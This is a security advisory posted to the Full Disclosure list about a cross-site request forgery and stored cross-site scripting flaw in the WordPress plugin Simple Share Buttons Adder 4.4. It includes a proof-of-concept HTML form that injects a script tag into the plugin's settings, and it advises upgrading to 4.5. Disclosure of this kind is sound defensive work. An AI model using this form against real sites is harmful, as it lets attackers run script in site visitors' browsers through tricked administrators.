Subject: [FD] CSRF and stored XSS in Simple Share Buttons Adder 4.4
	(WordPress plugin)

Software: Simple Share Buttons Adder
Version: 4.4
Advisory report:
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:P)

CSRF and stored XSS in Simple Share Buttons Adder 4.4

An attacker able to convince an admin to visit a link of their choosing is able to execute arbitrary javascript in the context of the Homepage, Pages, Posts, Category/Archive pages and post Excerpts.

Proof of concept
If a logged-in administrator user clicks the submit button on this form, a javascript alert will display on the homepage. (In a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://scone.local:8000/wp-admin/options-general.php?page=simple-share-buttons-adder\" method=\"POST\">
    <input type=\"hidden\" name=\"ssba_options\" value=\"save\">
    <input type=\"checkbox\" name=\"ssba_homepage\" value=\"Y\">
    <input type=\"text\" name=\"ssba_text_placement\" value= \"below\">
    <input type=\"text\" name=\"ssba_before_or_after\" value= \"after\">
    <input type=\"text\" name=\"ssba_share_text\" value=\"<script>alert(\'foo\')</script>\">
    <input type=\"submit\">

Immediately upgrade to version 4.5 or greater.
